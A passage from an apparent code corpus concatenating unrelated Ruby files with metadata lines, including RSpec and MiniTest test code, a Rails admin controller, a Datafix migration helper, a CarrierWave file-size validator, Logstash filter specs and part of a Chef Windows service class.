@bill.befriend(@charles)
@charles.block(@bill)
end
it 'should block a user' do
@bill.blocked_users.should be_empty
@charles.blocked_users.include?(@bill).should be_true
end
it 'should not allow friend requests to be sent anymore' do
friendship, status = @bill.befriend(@charles)
friendship.should be_nil
status.should == Circle::Friendship::STATUS_BLOCKED
end
it 'should not allow you to send requests to users that have blocked you' do
Circle::BlockedUser.destroy_all
@bill.block(@charles)
friendship, status = @charles.befriend(@bill)
friendship.should be_nil
status.should == Circle::Friendship::STATUS_BLOCKED
end
it 'should allow a user to request a friendship with a user they have previously blocked' do
@charles.unblock(@bill)
friendship, status = @charles.befriend(@bill)
friendship.should_not be_nil
status.should == Circle::Friendship::STATUS_REQUESTED
end
end
describe 'unblocking' do
before(:each) do
@bill.befriend(@charles)
@charles.block(@bill)
end
it 'should remove the blocked user' do
@charles.unblock(@bill)
@charles.reload
@charles.blocked_users.should be_empty
end
end
end
end | 31.900383 | 103 | 0.652294 |
912cff2b7fb00e9430719db9fb9c6729c243be12 | 1,332 | class Admin::InterestsController < ApplicationController
before_action :require_admin
before_action :set_interest, only: [:show, :edit, :update, :destroy]
# GET /admin/interests
def index
@interests = Interest.all
end
# GET /admin/interests/1
def show
redirect_to [:admin, :interests]
end
# GET /admin/interests/new
def new
@interest = Interest.new
end
# GET /admin/interests/1/edit
def edit
end
# POST /admin/interests
def create
@interest = Interest.new(interest_params)
if @interest.save
redirect_to [:admin, @interest], notice: "Interest was successfully created."
else
render :new
end
end
# PATCH/PUT /admin/interests/1
def update
if @interest.update(interest_params)
redirect_to [:admin, @interest], notice: "Interest was successfully updated."
else
render :edit
end
end
# DELETE /admin/interests/1
def destroy
@interest.destroy
redirect_to [:admin, :interests], notice: "Interest was successfully destroyed."
end
private
# Use callbacks to share common setup or constraints between actions.
def set_interest
@interest = Interest.find(params[:id])
end
# Only allow a trusted parameter "white list" through.
def interest_params
params.require(:interest).permit(:name)
end
end
| 21.483871 | 84 | 0.692943 |
d5f1b6ffd63f3d7086d5c1ed1e37425341c49434 | 530 | # frozen_string_literal: true
require_relative "support/coverage"
require "dry/initializer"
begin
require "pry"
rescue LoadError
nil
end
RSpec.configure do |config|
config.disable_monkey_patching!
config.order = :random
config.filter_run focus: true
config.run_all_when_everything_filtered = true
# Prepare the Test namespace for constants defined in specs
config.around(:each) do |example|
Test = Class.new(Module)
example.run
Object.send :remove_const, :Test
end
config.warnings = true
end
| 18.928571 | 61 | 0.754717 |
ff672e567d2b1de8d8603f7a5b65232f83c23508 | 8,923 | require 'spec_helper'
describe Babushka::Prompt, "get_value" do
it "should raise when not running on a terminal" do
STDIN.should_receive(:tty?).and_return(false)
expect { Babushka::Prompt.get_value('value') }.to raise_error(Babushka::PromptUnavailable)
end
it "should raise when not running on a terminal and a default is present" do
STDIN.should_receive(:tty?).and_return(false)
expect { Babushka::Prompt.get_value('value', :default => 'a default') }.to raise_error(Babushka::PromptUnavailable)
end
it "should raise when a default is expected but not available" do
Babushka::Base.task.should_receive(:opt).with(:defaults).and_return(true)
expect { Babushka::Prompt.get_value('value') }.to raise_error(Babushka::DefaultUnavailable)
end
it "should return the value" do
STDIN.should_receive(:tty?).and_return(true)
Babushka::LogHelpers.should_receive(:log).with("value", {:newline => false})
Babushka::Prompt.should_receive(:read_from_prompt).and_return('value')
Babushka::Prompt.get_value('value').should == 'value'
end
describe "with default" do
it "should return the value when it's specified" do
STDIN.should_receive(:tty?).and_return(true)
Babushka::LogHelpers.should_receive(:log).with("value [default]", {:newline => false})
Babushka::Prompt.should_receive(:read_from_prompt).and_return('value')
Babushka::Prompt.get_value('value', :default => 'default').should == 'value'
end
it "should return the default when no value is specified" do
STDIN.should_receive(:tty?).and_return(true)
Babushka::LogHelpers.should_receive(:log).with("value [default]", {:newline => false})
Babushka::Prompt.should_receive(:read_from_prompt).and_return('')
Babushka::Prompt.get_value('value', :default => 'default').should == 'default'
end
it "should handle non-string defaults" do
STDIN.should_receive(:tty?).and_return(true)
Babushka::LogHelpers.should_receive(:log).with("value [80]", {:newline => false})
Babushka::Prompt.should_receive(:read_from_prompt).and_return('')
Babushka::Prompt.get_value('value', :default => 80).should == '80'
end
end
it "should reject :choices and :choice_descriptions together" do
L{
Babushka::Prompt.get_value('value', :choices => %w[a b c], :choice_descriptions => {:a => "description"})
}.should raise_error(ArgumentError, "You can't use the :choices and :choice_descriptions options together.")
end
describe "with choices" do
it "should accept a valid choice" do
STDIN.should_receive(:tty?).and_return(true)
Babushka::LogHelpers.should_receive(:log).with("value (a,b,c)", {:newline => false})
Babushka::Prompt.should_receive(:read_from_prompt).and_return('a')
Babushka::Prompt.get_value('value', :choices => %w[a b c]).should == 'a'
end
it "should reject an invalid choice" do
STDIN.should_receive(:tty?).and_return(true)
Babushka::LogHelpers.should_receive(:log).with("value (a,b,c)", {:newline => false})
Babushka::Prompt.should_receive(:read_from_prompt).and_return('d')
Babushka::LogHelpers.should_receive(:log).with("That's not a valid choice. value (a,b,c)", {:newline => false})
Babushka::Prompt.should_receive(:read_from_prompt).and_return('a')
Babushka::Prompt.get_value('value', :choices => %w[a b c]).should == 'a'
end
it "should reject non-string choices" do
L{
Babushka::Prompt.get_value('value', :choices => [:a, :b])
}.should raise_error ArgumentError, "Choices must be passed as strings."
end
describe "with default" do
it "should accept a valid choice" do
STDIN.should_receive(:tty?).and_return(true)
Babushka::LogHelpers.should_receive(:log).with("value (a,b,c) [b]", {:newline => false})
Babushka::Prompt.should_receive(:read_from_prompt).and_return('a')
Babushka::Prompt.get_value('value', :choices => %w[a b c], :default => 'b').should == 'a'
end
it "should reject an invalid choice" do
STDIN.should_receive(:tty?).and_return(true)
Babushka::LogHelpers.should_receive(:log).with("value (a,b,c) [b]", {:newline => false})
Babushka::Prompt.should_receive(:read_from_prompt).and_return('d')
Babushka::LogHelpers.should_receive(:log).with("That's not a valid choice. value (a,b,c) [b]", {:newline => false})
Babushka::Prompt.should_receive(:read_from_prompt).and_return('a')
Babushka::Prompt.get_value('value', :choices => %w[a b c], :default => 'b').should == 'a'
end
describe "with no value specified" do
it "should accept a valid default" do
STDIN.should_receive(:tty?).and_return(true)
Babushka::LogHelpers.should_receive(:log).with("value (a,b,c) [b]", {:newline => false})
Babushka::Prompt.should_receive(:read_from_prompt).and_return('')
Babushka::Prompt.get_value('value', :choices => %w[a b c], :default => 'b').should == 'b'
end
it "should reject an invalid default" do
STDIN.should_receive(:tty?).and_return(true)
Babushka::LogHelpers.should_receive(:log).with("value (a,b,c) [d]", {:newline => false})
Babushka::Prompt.should_receive(:read_from_prompt).and_return('')
Babushka::LogHelpers.should_receive(:log).with("That's not a valid choice. value (a,b,c) [d]", {:newline => false})
Babushka::Prompt.should_receive(:read_from_prompt).and_return('a')
Babushka::Prompt.get_value('value', :choices => %w[a b c], :default => 'd').should == 'a'
end
end
end
end
describe "with choice descriptions" do
it "should behave like choices, logging the descriptions" do
STDIN.should_receive(:tty?).and_return(true)
Babushka::LogHelpers.should_receive(:log).with("There are 3 choices:")
Babushka::LogHelpers.should_receive(:log).with("a - the first one")
Babushka::LogHelpers.should_receive(:log).with("b - there's also this")
Babushka::LogHelpers.should_receive(:log).with("c - or this")
Babushka::LogHelpers.should_receive(:log).with("value", {:newline => false})
Babushka::Prompt.should_receive(:read_from_prompt).and_return('d')
Babushka::LogHelpers.should_receive(:log).with("That's not a valid choice. value", {:newline => false})
Babushka::Prompt.should_receive(:read_from_prompt).and_return('a')
Babushka::Prompt.get_value('value', :choice_descriptions => {'a' => "the first one", 'b' => "there's also this", 'c' => "or this"}).should == 'a'
end
end
describe "validation" do
it "should treat 'true' as valid" do
STDIN.should_receive(:tty?).and_return(true)
Babushka::Prompt.should_receive(:read_from_prompt).and_return('value')
Babushka::Prompt.get_value('value') {|value| true }.should == 'value'
end
it "should treat 'false' as invalid" do
STDIN.should_receive(:tty?).and_return(true)
Babushka::LogHelpers.should_receive(:log).with("value", {:newline => false})
Babushka::Prompt.should_receive(:read_from_prompt).and_return('another value')
Babushka::LogHelpers.should_receive(:log).with("That wasn't valid. value", {:newline => false})
Babushka::Prompt.should_receive(:read_from_prompt).and_return('value')
Babushka::Prompt.get_value('value') {|value| value == 'value' }.should == 'value'
end
end
end
describe "'y' input" do
context "intentional" do
it "should return 'y'" do
STDIN.should_receive(:tty?).twice.and_return(true)
Babushka::LogHelpers.should_receive(:log).with("value", {:newline => false})
Babushka::Prompt.should_receive(:read_from_prompt).and_return('y')
Babushka::LogHelpers.should_receive(:log).with("Wait, do you mean the literal value 'y' [n]", {:newline => false})
Babushka::Prompt.should_receive(:read_from_prompt).and_return('y')
Babushka::Prompt.get_value('value').should == 'y'
end
end
context "unintentional" do
it "should ask for the value again with a custom log message" do
# The #tty? call is in #prompt_and_read_value, which isn't re-called
# in the "Thought so :)" case, hence only 2 calls.
STDIN.should_receive(:tty?).twice.and_return(true)
Babushka::LogHelpers.should_receive(:log).with("value", {:newline => false})
Babushka::Prompt.should_receive(:read_from_prompt).and_return('yes')
Babushka::LogHelpers.should_receive(:log).with("Wait, do you mean the literal value 'yes' [n]", {:newline => false})
Babushka::Prompt.should_receive(:read_from_prompt).and_return('n')
Babushka::LogHelpers.should_receive(:log).with("Thought so :) Hit enter for the [default]. value", {:newline => false})
Babushka::Prompt.should_receive(:read_from_prompt).and_return('value')
Babushka::Prompt.get_value('value').should == 'value'
end
end
end
| 54.078788 | 151 | 0.678135 |
4adb63c8fe9289b8b5c1a09d5de5032d5bb96e55 | 251 | require_relative "base"
module Administrate
module Field
class Link < Field::String
def link_label
options.fetch(:link_label, "Link")
end
def target
options.fetch(:target, "_blank")
end
end
end
end
| 16.733333 | 42 | 0.621514 |
ed7be9b98bff956d64bf770b3467759f00a10974 | 913 | require 'spec_helper'
module Pacto
describe NativeContractFactory do
let(:host) { 'http://localhost' }
let(:contract_name) { 'contract' }
let(:contracts_path) { %w(spec fixtures contracts) }
let(:contract_path) { File.join(contracts_path, "#{contract_name}.json") }
subject(:contract_factory) { described_class.new }
it 'builds a contract given a JSON file path and a host' do
contract = contract_factory.build_from_file(contract_path, host)
expect(contract).to be_a(Contract)
end
context 'deprecated contracts' do
let(:contracts_path) { %w(spec fixtures deprecated_contracts) }
let(:contract_name) { 'deprecated_contract' }
it 'can still be loaded' do
contract = contract_factory.build_from_file(contract_path, host)
expect(contract).to be_a(Contract)
end
end
end
end
| 35.115385 | 85 | 0.657174 |
03fea8070d3e1b44813f02455da9fd07cb65092e | 277 | API.new.get_cocktails_data
CocktailData.all.each do |cocktail|
cock=Cocktail.create(name: cocktail.strDrink, glass: cocktail.strGlass, ingredient: cocktail.strIngredient.join(", "), instruction: cocktail.strInstructions, image: cocktail.strDrinkThumb)
cock.save
end | 55.4 | 193 | 0.787004 |
e92ab2a5a730e96ab819416420ff08698628519f | 312 | require 'upsert/connection/jdbc'
class Upsert
class Connection
# @private
class Java_OrgPostgresqlJdbc4_Jdbc4Connection < Connection
include Jdbc
include Postgresql
def quote_ident(k)
DOUBLE_QUOTE + k.to_s.gsub(DOUBLE_QUOTE, '""') + DOUBLE_QUOTE
end
end
end
end
| 19.5 | 69 | 0.685897 |
b9e1459299aa0c74654dee2cd7a35f91fd0facbe | 25 |
module UsersHelper
end
| 5 | 18 | 0.8 |
f8c94fd65641c523c6cd47391b5d99fabee10061 | 7,903 | =begin
#Ory APIs
#Documentation for all public and administrative Ory APIs. Administrative APIs can only be accessed with a valid Personal Access Token. Public APIs are mostly used in browsers.
The version of the OpenAPI document: v0.0.1-alpha.9
Contact: [email protected]
Generated by: https://openapi-generator.tech
OpenAPI Generator version: 5.1.1
=end
require 'date'
require 'time'
module OryHydraClient
# Credentials represents a specific credential type
class IdentityCredentials
attr_accessor :config
# CreatedAt is a helper struct field for gobuffalo.pop.
attr_accessor :created_at
# Identifiers represents a list of unique identifiers this credential type matches.
attr_accessor :identifiers
# and so on.
attr_accessor :type
# UpdatedAt is a helper struct field for gobuffalo.pop.
attr_accessor :updated_at
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
:'config' => :'config',
:'created_at' => :'created_at',
:'identifiers' => :'identifiers',
:'type' => :'type',
:'updated_at' => :'updated_at'
}
end
# Returns all the JSON keys this model knows about
def self.acceptable_attributes
attribute_map.values
end
# Attribute type mapping.
def self.openapi_types
{
:'config' => :'Object',
:'created_at' => :'Time',
:'identifiers' => :'Array<String>',
:'type' => :'String',
:'updated_at' => :'Time'
}
end
# List of attributes with nullable: true
def self.openapi_nullable
Set.new([
])
end
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
def initialize(attributes = {})
if (!attributes.is_a?(Hash))
fail ArgumentError, "The input argument (attributes) must be a hash in `OryHydraClient::IdentityCredentials` initialize method"
end
# check to see if the attribute exists and convert string to symbol for hash key
attributes = attributes.each_with_object({}) { |(k, v), h|
if (!self.class.attribute_map.key?(k.to_sym))
fail ArgumentError, "`#{k}` is not a valid attribute in `OryHydraClient::IdentityCredentials`. Please check the name to make sure it's valid. List of attributes: " + self.class.attribute_map.keys.inspect
end
h[k.to_sym] = v
}
if attributes.key?(:'config')
self.config = attributes[:'config']
end
if attributes.key?(:'created_at')
self.created_at = attributes[:'created_at']
end
if attributes.key?(:'identifiers')
if (value = attributes[:'identifiers']).is_a?(Array)
self.identifiers = value
end
end
if attributes.key?(:'type')
self.type = attributes[:'type']
end
if attributes.key?(:'updated_at')
self.updated_at = attributes[:'updated_at']
end
end
# Show invalid properties with the reasons. Usually used together with valid?
# @return Array for valid properties with the reasons
def list_invalid_properties
invalid_properties = Array.new
invalid_properties
end
# Check to see if the all the properties in the model are valid
# @return true if the model is valid
def valid?
true
end
# Checks equality by comparing each attribute.
# @param [Object] Object to be compared
def ==(o)
return true if self.equal?(o)
self.class == o.class &&
config == o.config &&
created_at == o.created_at &&
identifiers == o.identifiers &&
type == o.type &&
updated_at == o.updated_at
end
# @see the `==` method
# @param [Object] Object to be compared
def eql?(o)
self == o
end
# Calculates hash code according to all attributes.
# @return [Integer] Hash code
def hash
[config, created_at, identifiers, type, updated_at].hash
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def self.build_from_hash(attributes)
new.build_from_hash(attributes)
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.openapi_types.each_pair do |key, type|
if attributes[self.class.attribute_map[key]].nil? && self.class.openapi_nullable.include?(key)
self.send("#{key}=", nil)
elsif type =~ /\AArray<(.*)>/i
# check to ensure the input is an array given that the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
self.send("#{key}=", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })
end
elsif !attributes[self.class.attribute_map[key]].nil?
self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]]))
end
end
self
end
# Deserializes the data based on type
# @param string type Data type
# @param string value Value to be deserialized
# @return [Object] Deserialized data
def _deserialize(type, value)
case type.to_sym
when :Time
Time.parse(value)
when :Date
Date.parse(value)
when :String
value.to_s
when :Integer
value.to_i
when :Float
value.to_f
when :Boolean
if value.to_s =~ /\A(true|t|yes|y|1)\z/i
true
else
false
end
when :Object
# generic object (usually a Hash), return directly
value
when /\AArray<(?<inner_type>.+)>\z/
inner_type = Regexp.last_match[:inner_type]
value.map { |v| _deserialize(inner_type, v) }
when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/
k_type = Regexp.last_match[:k_type]
v_type = Regexp.last_match[:v_type]
{}.tap do |hash|
value.each do |k, v|
hash[_deserialize(k_type, k)] = _deserialize(v_type, v)
end
end
else # model
# models (e.g. Pet) or oneOf
klass = OryHydraClient.const_get(type)
klass.respond_to?(:openapi_one_of) ? klass.build(value) : klass.build_from_hash(value)
end
end
# Returns the string representation of the object
# @return [String] String presentation of the object
def to_s
to_hash.to_s
end
# to_body is an alias to to_hash (backward compatibility)
# @return [Hash] Returns the object in the form of hash
def to_body
to_hash
end
# Returns the object in the form of hash
# @return [Hash] Returns the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = self.send(attr)
if value.nil?
is_nullable = self.class.openapi_nullable.include?(attr)
next if !is_nullable || (is_nullable && !instance_variable_defined?(:"@#{attr}"))
end
hash[param] = _to_hash(value)
end
hash
end
# Outputs non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
# @param [Object] value Any valid value
# @return [Hash] Returns the value in the form of hash
def _to_hash(value)
if value.is_a?(Array)
value.compact.map { |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end
end
end
| 30.164122 | 213 | 0.622928 |
38d8e33efd788d0d77f150d11ec053c857cb1318 | 5,680 | require 'ansi/code'
module MiniTest
module Reporters
# A reporter identical to the standard MiniTest reporter except with more
# colors.
#
# Based upon Ryan Davis of Seattle.rb's MiniTest (MIT License).
#
# @see https://github.com/seattlerb/minitest MiniTest
class DefaultReporter
include Reporter
include RelativePosition
def initialize(options = {})
@detailed_skip = options.fetch(:detailed_skip, true)
@slow_count = options.fetch(:slow_count, 0)
@slow_suite_count = options.fetch(:slow_suite_count, 0)
@fast_fail = options.fetch(:fast_fail, false)
@test_times = []
@suite_times = []
@color = options.fetch(:color) do
output.tty? && (
ENV["TERM"] =~ /^screen|color/ ||
ENV["EMACS"] == "t"
)
end
end
def before_suites(suites, type)
puts
puts "# Running #{type}s:"
puts
end
def before_test(suite, test)
@test_name = "#{suite}##{test}"
print "#{@test_name} = " if verbose?
end
def pass(suite, test, test_runner)
test_result(green('.'))
end
def skip(suite, test, test_runner)
test_result(yellow('S'))
end
def failure(suite, test, test_runner)
if @fast_fail
puts
puts suite.name
print pad_test(test)
print(red(pad_mark('FAIL')))
puts
print_info(test_runner.exception, false)
else
test_result(red('F'))
end
end
def error(suite, test, test_runner)
if @fast_fail
puts
puts suite.name
print pad_test(test)
print(red(pad_mark('ERROR')))
puts
print_info(test_runner.exception)
else
test_result(red('E'))
end
end
def after_suite(suite)
time = Time.now - runner.suite_start_time
@suite_times << [suite.name, time]
end
def after_suites(suites, type)
time = Time.now - runner.suites_start_time
status_line = "Finished %ss in %.6fs, %.4f tests/s, %.4f assertions/s." %
[type, time, runner.test_count / time, runner.assertion_count / time]
puts
puts
puts colored_for(suite_result, status_line)
unless @fast_fail
runner.test_results.each do |suite, tests|
tests.each do |test, test_runner|
if message = message_for(test_runner)
puts
print colored_for(test_runner.result, message)
end
end
end
end
if @slow_count > 0
slow_tests = @test_times.sort_by { |x| x[1] }.reverse.take(@slow_count)
puts
puts "Slowest tests:"
puts
slow_tests.each do |slow_test|
puts "%.6fs %s" % [slow_test[1], slow_test[0]]
end
end
if @slow_suite_count > 0
slow_suites = @suite_times.sort_by { |x| x[1] }.reverse.take(@slow_suite_count)
puts
puts "Slowest test classes:"
puts
slow_suites.each do |slow_suite|
puts "%.6fs %s" % [slow_suite[1], slow_suite[0]]
end
end
puts
print colored_for(suite_result, result_line)
puts
end
private
def green(string)
@color ? ANSI::Code.green(string) : string
end
def yellow(string)
@color ? ANSI::Code.yellow(string) : string
end
def red(string)
@color ? ANSI::Code.red(string) : string
end
def colored_for(result, string)
case result
when :failure, :error; red(string)
when :skip; yellow(string)
else green(string)
end
end
def suite_result
case
when runner.failures > 0; :failure
when runner.errors > 0; :error
when runner.skips > 0; :skip
else :pass
end
end
def test_result(result)
time = Time.now - (runner.test_start_time || Time.now)
@test_times << [@test_name, time]
print '%.2f s = ' % time if verbose?
print result
puts if verbose?
end
def location(exception)
last_before_assertion = ''
exception.backtrace.reverse_each do |s|
break if s =~ /in .(assert|refute|flunk|pass|fail|raise|must|wont)/
last_before_assertion = s
end
last_before_assertion.sub(/:in .*$/, '')
end
def message_for(test_runner)
suite = test_runner.suite
test = test_runner.test
e = test_runner.exception
case test_runner.result
when :pass then nil
when :skip
if @detailed_skip
"Skipped:\n#{test}(#{suite}) [#{location(e)}]:\n#{e.message}\n"
end
when :failure then "Failure:\n#{test}(#{suite}) [#{location(e)}]:\n#{e.message}\n"
when :error
bt = filter_backtrace(test_runner.exception.backtrace).join "\n "
"Error:\n#{test}(#{suite}):\n#{e.class}: #{e.message}\n #{bt}\n"
end
end
def result_line
'%d tests, %d assertions, %d failures, %d errors, %d skips' %
[runner.test_count, runner.assertion_count, runner.failures, runner.errors, runner.skips]
end
def print_info(e, name = true)
print "#{e.exception.class.to_s}: " if name
e.message.each_line { |line| print_with_info_padding(line) }
filter_backtrace(e.backtrace).each { |line| print_with_info_padding(line) }
end
end
end
end
| 26.919431 | 99 | 0.555458 |
91bf7c049ef40b79db37fd83dd7d663d6b067f08 | 241 | require File.dirname(__FILE__) + '/../../spec_helper'
require File.dirname(__FILE__) + '/fixtures/classes.rb'
require File.dirname(__FILE__) + '/shared/each.rb'
describe "String#each_line" do
it_behaves_like(:string_each, :each_line)
end
| 30.125 | 55 | 0.751037 |
e251dcb2a01987bd336ee2c0b6653afecc7469ff | 1,555 | require "datafixes"
require "datafix/version"
require "datafix/railtie" if defined?(Rails)
class Datafix
class << self
DIRECTIONS = %w[up down]
def migrate(direction)
raise ArgumentError unless DIRECTIONS.include?(direction)
ActiveRecord::Base.transaction do
send(direction.to_sym)
log_run(direction)
end
end
private
def log_run(direction)
name = self.name.camelize.split('::').tap(&:shift).join('::')
puts "migrating #{name} #{direction}"
execute(<<-SQL)
INSERT INTO datafix_log
(direction, script, timestamp)
VALUES ('#{direction}', '#{name.camelize}', NOW())
SQL
end
def connection
@connection ||= ActiveRecord::Base.connection
end
def execute(*args)
connection.execute(*args)
end
def table_exists?(table_name)
ActiveRecord::Base.connection.table_exists? table_name
end
def archive_table(table_name)
log "Archive #{table_name} for Rollback" if self.respond_to?(:log)
execute "CREATE TABLE archived_#{table_name} ( LIKE #{table_name} INCLUDING DEFAULTS INCLUDING CONSTRAINTS INCLUDING INDEXES )"
execute "INSERT INTO archived_#{table_name} SELECT * FROM #{table_name}"
end
def revert_archive_table(table_name)
log "Move old #{table_name} back" if self.respond_to?(:log)
execute "TRUNCATE TABLE #{table_name}"
execute "INSERT INTO #{table_name} SELECT * FROM archived_#{table_name}"
execute "DROP TABLE archived_#{table_name}"
end
end
end
| 27.280702 | 133 | 0.66881 |
33a874ef204cbd1bacc80da64d08e884f099a119 | 2,156 | # lib/file_size_validator.rb
# Based on: https://gist.github.com/795665
class FileSizeValidator < ActiveModel::EachValidator
ERROR_MESSAGES = { :is => :wrong_size, :minimum => :size_too_small, :maximum => :size_too_big }.freeze
VALIDATIONS = { :is => :==, :minimum => :>=, :maximum => :<= }.freeze
DEFAULT_TOKENIZER_PROC = lambda { |value| value.split(//) }
RESERVED_ERROR_OPTIONS = [:minimum, :maximum, :within, :is, :tokenizer, :too_short, :too_long]
def initialize(options)
if range = (options.delete(:in) || options.delete(:within))
raise ArgumentError, ":in and :within must be a Range" unless range.is_a?(Range)
options[:minimum], options[:maximum] = range.begin, range.end
options[:maximum] -= 1 if range.exclude_end?
end
super
end
def check_validity!
keys = VALIDATIONS.keys & options.keys
if keys.empty?
raise ArgumentError, 'Range unspecified. Specify the :within, :maximum, :minimum, or :is option.'
end
keys.each do |key|
value = options[key]
unless value.is_a?(Integer) && value >= 0
raise ArgumentError, ":#{key} must be a nonnegative Integer"
end
end
end
def validate_each(record, attribute, value)
raise(ArgumentError, "A CarrierWave::Uploader::Base object was expected") unless value.kind_of? CarrierWave::Uploader::Base
value = (options[:tokenizer] || DEFAULT_TOKENIZER_PROC).call(value) if value.kind_of?(String)
VALIDATIONS.each do |key, validity_check|
next unless check_value = options[key]
value ||= [] if key == :maximum
value_size = value.size
next if value_size.send(validity_check, check_value)
errors_options = options.except(*RESERVED_ERROR_OPTIONS)
errors_options[:file_size] = help.number_to_human_size check_value
default_message = options[ERROR_MESSAGES[key]]
errors_options[:message] ||= default_message if default_message
record.errors.add(attribute, ERROR_MESSAGES[key], errors_options)
end
end
def help
Helper.instance
end
class Helper
include Singleton
include ActionView::Helpers::NumberHelper
end
end
| 31.246377 | 127 | 0.688312 |
edff7979bc6e6e6bc6c070d8942cbb3f03cfef3c | 3,164 | # encoding: utf-8
require "test_utils"
require "logstash/filters/split"
require "logstash/filters/clone"
describe LogStash::Filters do
extend LogStash::RSpec
describe "chain split with mutate filter" do
config <<-CONFIG
filter {
split { }
mutate { replace => [ "message", "test" ] }
}
CONFIG
sample "hello\nbird" do
insist { subject.length } == 2
insist { subject[0]["message"] } == "test"
insist { subject[1]["message"] } == "test"
end
end
describe "new events bug #793" do
config <<-CONFIG
filter {
split { terminator => "," }
mutate { rename => { "message" => "fancypants" } }
}
CONFIG
sample "hello,world" do
insist { subject.length } == 2
insist { subject[0]["fancypants"] } == "hello"
insist { subject[1]["fancypants"] } == "world"
end
end
describe "split then multiple mutate" do
config <<-CONFIG
filter {
split { }
mutate { replace => [ "message", "test" ] }
mutate { replace => [ "message", "test2" ] }
mutate { replace => [ "message", "test3" ] }
mutate { replace => [ "message", "test4" ] }
}
CONFIG
sample "big\nbird" do
insist { subject.length } == 2
insist { subject[0]["message"] } == "test4"
insist { subject[1]["message"] } == "test4"
end
end
describe "split then clone" do
config <<-CONFIG
filter {
split { }
clone { clones => ['clone1', 'clone2'] }
}
CONFIG
sample "big\nbird" do
insist { subject.length } == 6
insist { subject[0]["message"] } == "big"
insist { subject[0]["type"] } == nil
insist { subject[1]["message"] } == "big"
insist { subject[1]["type"] } == "clone1"
insist { subject[2]["message"] } == "big"
insist { subject[2]["type"] } == "clone2"
insist { subject[3]["message"] } == "bird"
insist { subject[3]["type"] } == nil
insist { subject[4]["message"] } == "bird"
insist { subject[4]["type"] } == "clone1"
insist { subject[5]["message"] } == "bird"
insist { subject[5]["type"] } == "clone2"
end
end
describe "clone with conditionals, see bug #1548" do
type "original"
config <<-CONFIG
filter {
clone {
clones => ["clone"]
}
if [type] == "clone" {
mutate { add_field => { "clone" => "true" } }
} else {
mutate { add_field => { "original" => "true" } }
}
}
CONFIG
sample("message" => "hello world") do
insist { subject }.is_a? Array
# subject.each{|event| puts(event.inspect + "\n")}
insist { subject.length } == 2
insist { subject.first["type"] } == nil
insist { subject.first["original"] } == "true"
insist { subject.first["clone"]} == nil
insist { subject.first["message"] } == "hello world"
insist { subject.last["type"]} == "clone"
insist { subject.last["original"] } == nil
insist { subject.last["clone"]} == "true"
insist { subject.last["message"] } == "hello world"
end
end
end
| 25.723577 | 58 | 0.524968 |
26154f8b1eca7fe4cf6088d84cdc435b627ad74e | 12,654 | #
# Author:: Christopher Maier (<[email protected]>)
# Copyright:: Copyright 2011-2017, Chef Software Inc.
# License:: Apache License, Version 2.0
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
require "chef"
require "chef/monologger"
require "chef/application"
require "chef/client"
require "chef/config"
require "chef/handler/error_report"
require "chef/log"
require "chef/http"
require "mixlib/cli"
require "socket"
require "uri"
require "win32/daemon"
require "chef/mixin/shell_out"
class Chef
class Application
class WindowsService < ::Win32::Daemon
include Mixlib::CLI
include Chef::Mixin::ShellOut
option :config_file,
short: "-c CONFIG",
long: "--config CONFIG",
default: "#{ENV['SYSTEMDRIVE']}/chef/client.rb",
description: ""
option :log_location,
short: "-L LOGLOCATION",
long: "--logfile LOGLOCATION",
description: "Set the log file location"
option :splay,
short: "-s SECONDS",
long: "--splay SECONDS",
description: "The splay time for running at intervals, in seconds",
proc: lambda { |s| s.to_i }
option :interval,
short: "-i SECONDS",
long: "--interval SECONDS",
description: "Set the number of seconds to wait between chef-client runs",
proc: lambda { |s| s.to_i }
DEFAULT_LOG_LOCATION ||= "#{ENV['SYSTEMDRIVE']}/chef/client.log".freeze
def service_init
@service_action_mutex = Mutex.new
@service_signal = ConditionVariable.new
reconfigure
Chef::Log.info("Chef Client Service initialized")
end
def service_main(*startup_parameters)
# Chef::Config is initialized during service_init
# Set the initial timeout to splay sleep time
timeout = rand Chef::Config[:splay]
while running?
# Grab the service_action_mutex to make a chef-client run
@service_action_mutex.synchronize do
begin
Chef::Log.info("Next chef-client run will happen in #{timeout} seconds")
@service_signal.wait(@service_action_mutex, timeout)
# Continue only if service is RUNNING
next if state != RUNNING
# Reconfigure each time through to pick up any changes in the client file
Chef::Log.info("Reconfiguring with startup parameters")
reconfigure(startup_parameters)
timeout = Chef::Config[:interval]
# Honor splay sleep config
timeout += rand Chef::Config[:splay]
# run chef-client only if service is in RUNNING state
next if state != RUNNING
Chef::Log.info("Chef-Client service is starting a chef-client run...")
run_chef_client
rescue SystemExit => e
# Do not raise any of the errors here in order to
# prevent service crash
Chef::Log.error("#{e.class}: #{e}")
rescue Exception => e
Chef::Log.error("#{e.class}: #{e}")
end
end
end
# Daemon class needs to have all the signal callbacks return
# before service_main returns.
Chef::Log.trace("Giving signal callbacks some time to exit...")
sleep 1
Chef::Log.trace("Exiting service...")
end
################################################################################
# Control Signal Callback Methods
################################################################################
def service_stop
run_warning_displayed = false
Chef::Log.info("STOP request from operating system.")
loop do
# See if a run is in flight
if @service_action_mutex.try_lock
# Run is not in flight. Wake up service_main to exit.
@service_signal.signal
@service_action_mutex.unlock
break
else
unless run_warning_displayed
Chef::Log.info("Currently a chef run is happening on this system.")
Chef::Log.info("Service will stop when run is completed.")
